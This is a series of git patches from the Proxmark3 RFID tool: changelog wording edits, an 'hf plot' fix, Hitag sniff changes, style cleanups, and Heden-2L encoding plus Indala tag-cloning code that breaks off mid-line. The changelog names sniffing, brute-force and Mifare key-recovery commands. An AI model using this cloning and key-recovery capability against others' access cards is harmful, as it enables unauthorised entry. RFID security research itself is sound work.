+ - Added common error definitions system for retvals (@doegox) - Change USART RX & TX code and fix delays handling to make it more robust, especially over BT (@doegox) - - Add support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) + - Added support for new frames format, speedup & huge changes, see doc/new_frame_format.txt (@doegox) - Change: loadFile* & saveFile* accept filenames with (or still without) extension (@doegox) - Fix LoadEML to accept final "\n", e.g. from pm3_mfd2eml.py (@doegox) - Change: rework shell scripts for easy client or flasher (@doegox) - Fix: stop poking Internet when compiling (@doegox) - - Add support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) + - Added support for multiple commands to "-c", e.g. proxmark3 -c "hw ping;hw version" (@doegox) - Fix external flash writing bitflips issues at 24MHz (@doegox) - - Add color support to Dbprintf & alike and rework Dbprintf flags (@doegox) + - Added color support to Dbprintf & alike and rework Dbprintf flags (@doegox) - Change: archive (and fix) hid-flasher (@doegox) - - Add standalone placeholder to simplify new standalone integration (@doegox) + - Added standalone placeholder to simplify new standalone integration (@doegox) - Change: refactor standalone mode info string (@iceman1001) - - Add iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) + - Added iceman skeleton standalone mode for ppl to use as base for their new modes (@iceman1001) - Change: move compilation options to Makefile.hal (@doegox) - Fix compilation under OSX (@iceman1001) - - Add openocd config files for JLink (@doegox) + - Added openocd config files for JLink (@doegox) - Fix compilation dependencies for recovery (@doegox) - Fix segfault when loading a file (@doegox) - Change/Add new dump format for Ultralight/NTAG, counters support, simulation (@mceloff) - - Add `hf mf sim` full-byte split anticollision support (@mceloff) + - Added `hf mf sim` full-byte split anticollision support (@mceloff) - Fix/Add `hf mf sim` bugs fix, RATS support, etc (@mceloff) - Fix serial of FPC. (@ryan) - Fix `data shiftgraphzero` corrupting end of GraphBuffer (@doegox) - Fix `hf legic info` - unsegmented card now uses card size to calc remaining length (@iceman1001) - - Add 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) + - Added 36bit HID format, extend calcWiegand() to include oem bits (@davidbeauchamp) - Fix `hf mf hardnested` - not verify key when reading nonce file (@iceman1001) - Change optimizations for ask/bi (@iceman1001) - Fix `hf mf sim` - bugs fix, refactoring (@mceloff) - - Add WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) + - Added WRITE and COMPATIBLE_WRITE support to Mifare Ultralight/NTAG simulation (@mceloff) - Change installation instructions and add video links (@5w0rdfish) - Change `hf mf sim` to support more types (@vratiskol) - Change better strong wave detection for biphase (@iceman1001) - - Add `script run test_t55x7` (@iceman1001) - - Add new lua scripting support for some t55xx commands (@iceman1001) - - Add FPC USART for BT add-on with pm3 client. (@doegox) - - Add `-b baudrate` option to the pm3 client. (@doegox) + - Added `script run test_t55x7` (@iceman1001) + - Added new lua scripting support for some t55xx commands (@iceman1001) + - Added FPC USART for BT add-on with pm3 client. (@doegox) + - Added `-b baudrate` option to the pm3 client. (@doegox) - Change `lf t55xx info`: tell if known configuration block0. (@iceman1001) - Fix/Add FPC usart: fix TX, bring RX, full speed. (@doegox) - Change `lf t55xx config` options: allow to toggle on/off i/q5/st @@ -239,7 +240,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix Indala 64 on T55xx: use PSK1. (@doegox) - Force proper Linefeed (LF) handling in ProxSpace. (@vratiskol) - Fix Makefiles race conditions to allow parallel compilation, e.g. `make -j8`. (@doegox) - - Add - dictionary key file for MFU. (not in use at the moment) (@mazodude) + - Added - dictionary key file for MFU. (not in use at the moment) (@mazodude) - Change `lf fdx demod` - better biphase maxerrors. (@MalteHillmann) - Change `hf mf sim` - now works better against android (@mceloff) - Fix `lf t55xx brute` - now works after aquiredata adaptations (@iceman1001) @@ -247,7 +248,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `lf t55xx recoverpwd` - now works after aquiredata adaptations (@iceman1001) - Fix `data detect p` - reverted bad clock detection (@iceman1001) - Change `data detect a` - better clock detection (@iceman1001) - - Add `hf 14a info` - now detects some magic card Gen2 (@iceman1001) + - Added `hf 14a info` - now detects some magic card Gen2 (@iceman1001) - Removed `LCD` code in armsrc compilation (@iceman1001) - Change - Generic fixes of codestyle (@doegox) (@iceman1001) - Change `lf indala demod` - refactoring (@iceman1001) @@ -257,7 +258,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `data rawdemod am` - last bit was missing (@doegox) - Fix `hf 15 dump f` - also selects tag first (@iceman1001) - Fix `hf iclass clone` - missing fileclose (@iceman1001) - - Add `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) + - Added `trace list hitag` - old hitag annotations now use the new trace (@iceman1001) - Change `lf hitag sim` - loads bin/eml/json (@iceman1001) - Change `lf hitag reader 21` - saves in bin/eml/json (@iceman1001) - Change `lf hitag` - refactoring (@iceman1001) @@ -276,12 +277,12 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `mem write` - added extra check (@doegox) - Fix `iso15693` - bad string cpy (@doegox) - Fix `make style` - EOF LF support (@doegox) - - Add `hf 14b raw` - added -t for timeout (@iceman1001) + - Added `hf 14b raw` - added -t for timeout (@iceman1001) - Rename `lf hitag snoop` - renamed to `lf hitag sniff` (@iceman1001) - Rename `lf snoop` - renamed to `lf sniff` (@iceman1001) - Rename `hf snoop` - renamed to `hf sniff` (@iceman1001) - Fix `hf mfp wrbl` - more blocks available (@merlokk) - - Add `make platform` - compile for non-rdv4 devices made simpler (@doegox) + - Added `make platform` - compile for non-rdv4 devices made simpler (@doegox) - Change Makefiles optimizations when recompiling (@doegox) - Fix `data load` - loads TITEST.txt again (@iceman1001) - Change `lf search` - now detects TI (@iceman1001) @@ -289,25 +290,25 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `lf paradox demod` - wrong check (@iceman1001) - Change `lf t55xx` - aquiredata uses getsamples (@iceman1001) - Fix `lf search` - chipset detection restore demod buffer again (@iceman1001) - - Add `make style` (@doegox) + - Added `make style` (@doegox) - Fix mixed tabs vs spaces. Now only use 4 space as tab. (@doegox) - Fix `lf visa2000 read` - too few samples (@iceman1001) - Fix `lf t55xx bruteforce` - infinity loop (@doegox) - Fix `analyse nuid` - correct crc (@doegox) - - Add command history not repeating logged commands (@doegox) + - Added command history not repeating logged commands (@doegox) - Fix path for aidjson (@doegox) - Fix missing init i2x (@doegox) - Fix `14b select card` - (@doegox) - - Add `hf mf ndef` - parsing of NDEF messages (@merlokk) - - Add `hf mf mad` - parsing of Mifare Application Directory (@merlokk) + - Added `hf mf ndef` - parsing of NDEF messages (@merlokk) + - Added `hf mf mad` - parsing of Mifare Application Directory (@merlokk) - Rename `lf snoop` -> `lf sniff` (@iceman1001) - Rename `hf snoop` -> `hf sniff` (@iceman1001) - Change generally added more colors (@iceman1001) - Change `sc upgrade` updated firmware v3.11 (RDV40) (@sentiprox) - Change `data autocorrelate` - better visual representation and added extra peak detection (@iceman1001) - Fix `lf search` - false positive indala identification fixed (@iceman1001) - - Add `lf keri` - basic support for Keri tags (@iceman1001) - - Add `hf mf list` - re-added it again (@iceman1001) + - Added `lf keri` - basic support for Keri tags (@iceman1001) + - Added `hf mf list` - re-added it again (@iceman1001) - Fix - A lot of bugfixes, like memory leaks (@iceman1001) - Change `hf 14a antifuzz` - original implementation (@asfabw), reworked a bit - Fix `hf mf fchk` (@iceman1001) @@ -315,9 +316,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Change `lf pcf7931` - improved read code (@sguerrini97) - Change `hf felica list` - started with some FeliCa annotations (@iceman1001) - Fix `hf tune` - now works as expected (@iceman1001) - - Add `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) + - Added `option to use flash memory to upload dictionary files` (RDV40) (@iceman1001) - Fix `printing percentage now standard compliant` (@fabled) - - Add `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) + - Added `emv roca` - command to test for ROCA vuln in public RSA modulus (@merlokk / @iceman1001) - Added TCP ports support (on linux) (@phcoder) - Added HF sniff standalone mode with optional storing of ULC/NTAG/ULEV1 authentication attempts (@bogiton) - Fix `Lining up plot and control window` (@anticat) @@ -335,7 +336,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Fix `stand-alone Colin` - remake to benefit from flashmem for persistence. (@cjbrigato) - Fix `LEGIC SIM` - remake of legic sim (@drandreas) - Changed `proxmark3 client threading` - remake from official repo (@micolous) - - Add `rem` - new command that adds a line to the log file (@didierStevens) + - Added `rem` - new command that adds a line to the log file (@didierStevens) - Fix `EM410xdemod empty tag id in lfops.c` (@Defensor7) - Fix `usb device descriptor` - some android phones will enumerate better when iSerialnumber is not a multiple of 8 (@micolous, @megabug) - Fix `StandaloneMode LF` - when collecting signal, justNoise detection is needed (@didierStevens, @Megabug) @@ -404,7 +405,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `hf fido` `assert` and `make` commands from fido2 protocol (authenticatorMakeCredential and authenticatorGetAssertion) (@merlokk) - Added trailer block decoding to `hf mf rdbl` and `hf mf cgetbl` (@merlokk) - Added `hf mf mad` and `hf mfp mad` MAD decode, check and print commands (@merlokk) - - Add `script run luxeodump` (@0xdrrb) + - Added `script run luxeodump` (@0xdrrb) - Fix `lf hitag reader 02` - print all bytes (@bosb) @@ -647,9 +648,9 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Implemented better detection of mifare-tags that are not vulnerable to classic attacks (`hf mf mifare`, `hf mf nested`) (@pwpiwi) ### Added - - Add `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) - - Add `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) - - Add PACE replay functionality (@frederikmoellers) + - Added `hf 14b reader` to find and print general info about known 14b tags (@marshmellow42) + - Added `hf 14b info` to find and print info about std 14b tags and sri tags (using 14b raw commands in the client) (@marshmellow42) + - Added PACE replay functionality (@frederikmoellers) ### Fixed - t55xx write timing (@marshmellow42) From b4e0701f27b823206318dfb8ae4e6c5bb5d30b99 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 17:13:02 +0100 Subject: [PATCH 291/418] Chg: 'hf plow' - remove signal offset --- client/cmdhf.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index 347e4de46..05d52af5e 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -18,6 +18,7 @@ #include "cmdparser.h" // command_t #include "cliparser/cliparser.h" // parse #include "comms.h" // clearCommandBuffer +#include "lfdemod.h" // computeSignalProperties #include "cmdhf14a.h" // ISO14443-A #include "cmdhf14b.h" // ISO14443-B #include "cmdhf15.h" // ISO15693 @@ -248,11 +249,18 @@ int CmdHFPlot(const char *Cmd) { } for (size_t i = 0; i < FPGA_TRACE_SIZE; i++) { - GraphBuffer[i] = (int)buf[i] - 128; + GraphBuffer[i] = ((int)buf[i]) - 127; } GraphTraceLen = FPGA_TRACE_SIZE; + ShowGraphWindow(); + + // remove signal offset + CmdHpf(""); + + setClockGrid(0, 0); + DemodBufferLen = 0; RepaintGraphWindow(); return PM3_SUCCESS; } From 355a7e44582cdd329deb586a40f561829181eb48 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 17:21:19 +0100 Subject: [PATCH 292/418] noo --- armsrc/appmain.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index cc66b37f4..73b9fc4a6 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -930,7 +930,8 @@ static void PacketReceived(PacketCommandNG *packet) { #ifdef WITH_HITAG case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type - SniffHitag(packet->oldarg[0]); + SniffHitag(); +// SniffHitag(packet->oldarg[0]); break; } case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content From ed67936892f4996572100cca57883249686d5e43 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 12 Jan 2020 17:28:12 +0100 Subject: [PATCH 293/418] style --- armsrc/appmain.c | 2 +- armsrc/fpgaloader.c | 14 +++---- armsrc/hfsnoop.c | 54 +++++++++++++------------- client/cliparser/argtable3.c | 44 ++++++++++----------- client/cmdhf.c | 24 ++++++------ client/cmdhfmfu.c | 12 +++--- client/cmdlf.c | 28 +++++++------- client/cmdlfindala.c | 74 ++++++++++++++++++------------------ client/cmdlfkeri.c | 4 +- common/generator.c | 74 ++++++++++++++++++------------------ common/iso15693tools.h | 24 ++++++------ 11 files changed, 177 insertions(+), 177 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 73b9fc4a6..8661ffccb 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -930,7 +930,7 @@ static void PacketReceived(PacketCommandNG *packet) { #ifdef WITH_HITAG case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type - SniffHitag(); + SniffHitag(); // SniffHitag(packet->oldarg[0]); break; } diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index a441163e1..a5ca3f6d1 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -141,16 +141,16 @@ void FpgaSetupSsc(void) { // Now set up the SSC proper, starting from a known state. AT91C_BASE_SSC->SSC_CR = AT91C_SSC_SWRST; - // RX clock comes from TX clock, RX starts on Transmit Start, - // data and frame signal is sampled on falling edge of RK + // RX clock comes from TX clock, RX starts on Transmit Start, + // data and frame signal is sampled on falling edge of RK AT91C_BASE_SSC->SSC_RCMR = SSC_CLOCK_MODE_SELECT(1) | SSC_CLOCK_MODE_START(1); // 8 bits per transfer, no loopback, MSB first, 1 transfer per sync // pulse, no output sync AT91C_BASE_SSC->SSC_RFMR = SSC_FRAME_MODE_BITS_IN_WORD(8) | AT91C_SSC_MSBF | SSC_FRAME_MODE_WORDS_PER_TRANSFER(0); - // TX clock comes from TK pin, no clock output, outputs change on falling - // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF + // TX clock comes from TK pin, no clock output, outputs change on falling + // edge of TK, frame sync is sampled on rising edge of TK, start TX on rising edge of TF AT91C_BASE_SSC->SSC_TCMR = SSC_CLOCK_MODE_SELECT(2) | SSC_CLOCK_MODE_START(5); // tx framing is the same as the rx framing @@ -439,7 +439,7 @@ void FpgaDownloadAndGo(int bitstream_version) { // Send a 16 bit command/data pair to the FPGA. // The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 // where C is the 4 bit command and D is the 12 bit data -// +// // @params cmd and v gets or over eachother. Take careful note of overlapping bits. //----------------------------------------------------------------------------- void FpgaSendCommand(uint16_t cmd, uint16_t v) { @@ -461,11 +461,11 @@ void FpgaWriteConfWord(uint16_t v) { // enable/disable FPGA internal tracing //----------------------------------------------------------------------------- void FpgaEnableTracing(void) { - FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1); + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 1); } void FpgaDisableTracing(void) { - FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0); + FpgaSendCommand(FPGA_CMD_TRACE_ENABLE, 0); } //----------------------------------------------------------------------------- diff --git a/armsrc/hfsnoop.c b/armsrc/hfsnoop.c index 4ab03cd22..770280b9b 100644 --- a/armsrc/hfsnoop.c +++ b/armsrc/hfsnoop.c @@ -91,40 +91,40 @@ void HfSniff(int samplesToSkip, int triggersToSkip) { } void HfPlotDownload(void) { - uint8_t *buf = ToSend; - uint8_t *this_buf = buf; + uint8_t *buf = ToSend; + uint8_t *this_buf = buf; - FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); - FpgaSetupSsc(); + FpgaSetupSsc(); - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer - AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address - AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples - buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register - AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTDIS; // Disable DMA Transfer + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) this_buf; // start transfer to this memory address + AT91C_BASE_PDC_SSC->PDC_RCR = PM3_CMD_DATA_SIZE; // transfer this many samples + buf[0] = (uint8_t)AT91C_BASE_SSC->SSC_RHR; // clear receive register + AT91C_BASE_PDC_SSC->PDC_PTCR = AT91C_PDC_RXTEN; // Start DMA transfer - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_GET_TRACE); // let FPGA transfer its internal Block-RAM - LED_B_ON(); - for(size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) { - // prepare next DMA transfer: - uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE)); - - AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf; - AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE; + LED_B_ON(); + for (size_t i = 0; i < FPGA_TRACE_SIZE; i += PM3_CMD_DATA_SIZE) { + // prepare next DMA transfer: + uint8_t *next_buf = buf + ((i + PM3_CMD_DATA_SIZE) % (2 * PM3_CMD_DATA_SIZE)); - size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE); + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)next_buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = PM3_CMD_DATA_SIZE; - while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete + size_t len = MIN(FPGA_TRACE_SIZE - i, PM3_CMD_DATA_SIZE); - reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len); - this_buf = next_buf; - } + while (!(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_ENDRX))) {}; // wait for DMA transfer to complete - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - - // Trigger a finish downloading signal with an ACK frame - reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0); - LED_B_OFF(); + reply_old(CMD_FPGAMEM_DOWNLOADED, i, len, FPGA_TRACE_SIZE, this_buf, len); + this_buf = next_buf; + } + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + // Trigger a finish downloading signal with an ACK frame + reply_mix(CMD_ACK, 1, 0, FPGA_TRACE_SIZE, 0, 0); + LED_B_OFF(); } diff --git a/client/cliparser/argtable3.c b/client/cliparser/argtable3.c index a5fb7a023..3acbce48e 100644 --- a/client/cliparser/argtable3.c +++ b/client/cliparser/argtable3.c @@ -3421,7 +3421,7 @@ TRexBool trex_searchrange(TRex *exp, const TRexChar *text_begin, const TRexChar if (!cur) break; node = exp->_nodes[node].next; - } + } text_begin++; } while (cur == NULL && text_begin != text_end); @@ -3675,7 +3675,7 @@ void arg_register_error(struct arg_end *end, * Return index of first table entry with a matching short option * or -1 if no match was found. */ -static int find_shortoption(struct arg_hdr** table, char shortopt) { +static int find_shortoption(struct arg_hdr **table, char shortopt) { int tabindex; for (tabindex = 0; !(table[tabindex]->flag & ARG_TERMINATOR); tabindex++) { if (table[tabindex]->shortopts && @@ -3708,7 +3708,7 @@ void dump_longoptions(struct longoptions *longoptions) { } #endif -static struct longoptions* alloc_longoptions(struct arg_hdr** table) { +static struct longoptions *alloc_longoptions(struct arg_hdr **table) { struct longoptions *result; size_t nbytes; int noptions = 1; @@ -3790,7 +3790,7 @@ static struct longoptions* alloc_longoptions(struct arg_hdr** table) { return result; } -static char* alloc_shortoptions(struct arg_hdr** table) { +static char *alloc_shortoptions(struct arg_hdr **table) { char *result; size_t len = 2; int tabindex; @@ -3830,7 +3830,7 @@ static char* alloc_shortoptions(struct arg_hdr** table) { /* return index of the table terminator entry */ -static int arg_endindex(struct arg_hdr** table) { +static int arg_endindex(struct arg_hdr **table) { int tabindex = 0; while (!(table[tabindex]->flag & ARG_TERMINATOR)) tabindex++; @@ -3839,9 +3839,9 @@ static int arg_endindex(struct arg_hdr** table) { static void arg_parse_tagged(int argc, - char **argv, - struct arg_hdr **table, - struct arg_end *endtable) { + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { struct longoptions *longoptions; char *shortoptions; int copt; @@ -3952,9 +3952,9 @@ static void arg_parse_tagged(int argc, static void arg_parse_untagged(int argc, - char **argv, - struct arg_hdr **table, - struct arg_end *endtable) { + char **argv, + struct arg_hdr **table, + struct arg_end *endtable) { int tabindex = 0; int errorlast = 0; const char *optarglast = NULL; @@ -4154,11 +4154,11 @@ static void arg_cat(char **pdest, const char *src, size_t *pndest) { static void arg_cat_option(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue) { + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue) { if (shortopts) { char option[3]; @@ -4212,12 +4212,12 @@ static void arg_cat_option(char *dest, } static void arg_cat_optionv(char *dest, - size_t ndest, - const char *shortopts, - const char *longopts, - const char *datatype, - int optvalue, - const char *separator) { + size_t ndest, + const char *shortopts, + const char *longopts, + const char *datatype, + int optvalue, + const char *separator) { separator = separator ? separator : ""; if (shortopts) { diff --git a/client/cmdhf.c b/client/cmdhf.c index 05d52af5e..52ad853fa 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -230,18 +230,18 @@ int CmdHFSniff(const char *Cmd) { } int CmdHFPlot(const char *Cmd) { - CLIParserInit("hf plot", - "Plots HF signal after RF signal path and A/D conversion.", - "This can be used after any hf command and will show the last few milliseconds of the HF signal.\n" - "Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n"); - void* argtable[] = { - arg_param_begin, - arg_param_end - }; - CLIExecWithReturn(Cmd, argtable, true); + CLIParserInit("hf plot", + "Plots HF signal after RF signal path and A/D conversion.", + "This can be used after any hf command and will show the last few milliseconds of the HF signal.\n" + "Note: If the last hf command terminated because of a timeout you will most probably see nothing.\n"); + void *argtable[] = { + arg_param_begin, + arg_param_end + }; + CLIExecWithReturn(Cmd, argtable, true); + + uint8_t buf[FPGA_TRACE_SIZE]; - uint8_t buf[FPGA_TRACE_SIZE]; - PacketResponseNG response; if (!GetFromDevice(FPGA_MEM, buf, FPGA_TRACE_SIZE, 0, NULL, 0, &response, 4000, true)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); @@ -262,7 +262,7 @@ int CmdHFPlot(const char *Cmd) { setClockGrid(0, 0); DemodBufferLen = 0; RepaintGraphWindow(); - return PM3_SUCCESS; + return PM3_SUCCESS; } static command_t CommandTable[] = { diff --git a/client/cmdhfmfu.c b/client/cmdhfmfu.c index b761494f5..5387cc855 100644 --- a/client/cmdhfmfu.c +++ b/client/cmdhfmfu.c @@ -2469,12 +2469,12 @@ static int CmdHF14AMfUGenDiverseKeys(const char *Cmd) { PrintAndLogEx(WARNING, "iso14443a card select failed"); return PM3_ESOFT; } -/* - if (card.uidlen != 4) { - PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); - return PM3_ESOFT; - } -*/ + /* + if (card.uidlen != 4) { + PrintAndLogEx(WARNING, "Wrong sized UID, expected 4bytes got %d", card.uidlen); + return PM3_ESOFT; + } + */ memcpy(uid, card.uid, card.uidlen); } else { if (param_gethex(Cmd, 0, uid, 8)) return usage_hf_mfu_gendiverse(); diff --git a/client/cmdlf.c b/client/cmdlf.c index 337444f1e..48f1cd235 100644 --- a/client/cmdlf.c +++ b/client/cmdlf.c @@ -458,9 +458,9 @@ int lf_config(sample_config *config) { clearCommandBuffer(); if (config != NULL) SendCommandNG(CMD_LF_SAMPLING_SET_CONFIG, (uint8_t *)config, sizeof(sample_config)); - else + else SendCommandNG(CMD_LF_SAMPLING_GET_CONFIG, NULL, 0); - + return PM3_SUCCESS; } @@ -474,15 +474,15 @@ int CmdLFConfig(const char *Cmd) { } sample_config config = { - .decimation = -1, - .bits_per_sample = -1, - .averaging = -1, - .divisor = -1, - .trigger_threshold = -1, - .samples_to_skip = -1, - .verbose = true + .decimation = -1, + .bits_per_sample = -1, + .averaging = -1, + .divisor = -1, + .trigger_threshold = -1, + .samples_to_skip = -1, + .verbose = true }; - + bool errors = false; uint8_t cmdp = 0; @@ -527,20 +527,20 @@ int CmdLFConfig(const char *Cmd) { break; } case 'b': { - config.bits_per_sample = param_get8ex(Cmd, cmdp + 1, 8, 10); + config.bits_per_sample = param_get8ex(Cmd, cmdp + 1, 8, 10); // bps is limited to 8 - if (config.bits_per_sample >> 4) + if (config.bits_per_sample >> 4) config.bits_per_sample = 8; cmdp += 2; break; } case 'd': { - config.decimation = param_get8ex(Cmd, cmdp + 1, 1, 10); + config.decimation = param_get8ex(Cmd, cmdp + 1, 1, 10); // decimation is limited to 255 - if (config.decimation >> 4) + if (config.decimation >> 4) config.decimation = 8; cmdp += 2; diff --git a/client/cmdlfindala.c b/client/cmdlfindala.c index 11950a0c5..368e182d7 100644 --- a/client/cmdlfindala.c +++ b/client/cmdlfindala.c @@ -73,19 +73,19 @@ static int usage_lf_indala_sim(void) { static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) { uint8_t template[] = { - 1,0,1,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 0,0,0,0,0,0,0,0, - 1,0,0,0,1,0,0,0, - 1,0,0,0,0,0,0,0, - 0,0,0,0,1,0,0,1, - 0,0,0,0,0,0,1,0 + 1, 0, 1, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, + 1, 0, 0, 0, 1, 0, 0, 0, + 1, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 1, 0, 0, 1, + 0, 0, 0, 0, 0, 0, 1, 0 }; uint8_t cardbits[32]; num_to_bytebits(cardnumber, sizeof(cardbits), cardbits); - + if (cardbits[31] == 1) template[HEDEN2L_OFFSET + 8] = 0x1; if (cardbits[30] == 1) template[HEDEN2L_OFFSET + 10] = 0x1; if (cardbits[29] == 1) template[HEDEN2L_OFFSET + 14] = 0x1; @@ -105,14 +105,14 @@ static void encodeHeden2L(uint8_t *dest, uint32_t cardnumber) { // Parity uint8_t counter = 0; - for (int i=0; i< sizeof(template) - HEDEN2L_OFFSET; i++) { - if (template[i]) - counter++; - } + for (int i = 0; i < sizeof(template) - HEDEN2L_OFFSET; i++) { + if (template[i]) + counter++; + } template[63] = (counter & 0x1); - - for (int i = 0; i< sizeof(template); i += 8) { - dest[i/8] = bytebits_to_byte(template + i, 8); + + for (int i = 0; i < sizeof(template); i += 8) { + dest[i / 8] = bytebits_to_byte(template + i, 8); } PrintAndLogEx(INFO, "Heden-2L card number %u", cardnumber); @@ -123,22 +123,22 @@ static void decodeHeden2L(uint8_t *bits) { uint32_t cardnumber = 0; uint8_t offset = HEDEN2L_OFFSET; - if ( bits[offset + 8] ) cardnumber += 1; - if ( bits[offset + 10] ) cardnumber += 2; - if ( bits[offset + 14] ) cardnumber += 4; - if ( bits[offset + 15] ) cardnumber += 8; - if ( bits[offset + 12] ) cardnumber += 16; - if ( bits[offset + 28] ) cardnumber += 32; - if ( bits[offset + 3] ) cardnumber += 64; - if ( bits[offset + 11] ) cardnumber += 128; - if ( bits[offset + 19] ) cardnumber += 256; - if ( bits[offset + 26] ) cardnumber += 512; - if ( bits[offset + 17] ) cardnumber += 1024; - if ( bits[offset + 18] ) cardnumber += 2048; - if ( bits[offset + 20] ) cardnumber += 4096; - if ( bits[offset + 13] ) cardnumber += 8192; - if ( bits[offset + 7] ) cardnumber += 16384; - if ( bits[offset + 23] ) cardnumber += 32768; + if (bits[offset + 8]) cardnumber += 1; + if (bits[offset + 10]) cardnumber += 2; + if (bits[offset + 14]) cardnumber += 4; + if (bits[offset + 15]) cardnumber += 8; + if (bits[offset + 12]) cardnumber += 16; + if (bits[offset + 28]) cardnumber += 32; + if (bits[offset + 3]) cardnumber += 64; + if (bits[offset + 11]) cardnumber += 128; + if (bits[offset + 19]) cardnumber += 256; + if (bits[offset + 26]) cardnumber += 512; + if (bits[offset + 17]) cardnumber += 1024; + if (bits[offset + 18]) cardnumber += 2048; + if (bits[offset + 20]) cardnumber += 4096; + if (bits[offset + 13]) cardnumber += 8192; + if (bits[offset + 7]) cardnumber += 16384; + if (bits[offset + 23]) cardnumber += 32768; PrintAndLogEx(SUCCESS, "\tHeden-2L | %u", cardnumber); } @@ -576,7 +576,7 @@ static int CmdIndalaClone(const char *Cmd) { if (got_cn == false) { CLIGetHexWithReturn(3, data, &datalen); } - + is_t5555 = arg_get_lit(4); CLIParserFree(); @@ -585,12 +585,12 @@ static int CmdIndalaClone(const char *Cmd) { // 224 BIT UID // config for Indala (RF/32;PSK2 with RF/2;Maxblock=7) PrintAndLogEx(INFO, "Preparing to clone Indala 224bit tag with RawID %s", sprint_hex(data, datalen)); - + if (is_t5555) blocks[0] = T5555_SET_BITRATE(32) | T5555_MODULATION_PSK2 | (7 << T5555_MAXBLOCK_SHIFT); else blocks[0] = T55x7_BITRATE_RF_32 | T55x7_MODULATION_PSK2 | (7 << T55x7_MAXBLOCK_SHIFT); - + blocks[1] = 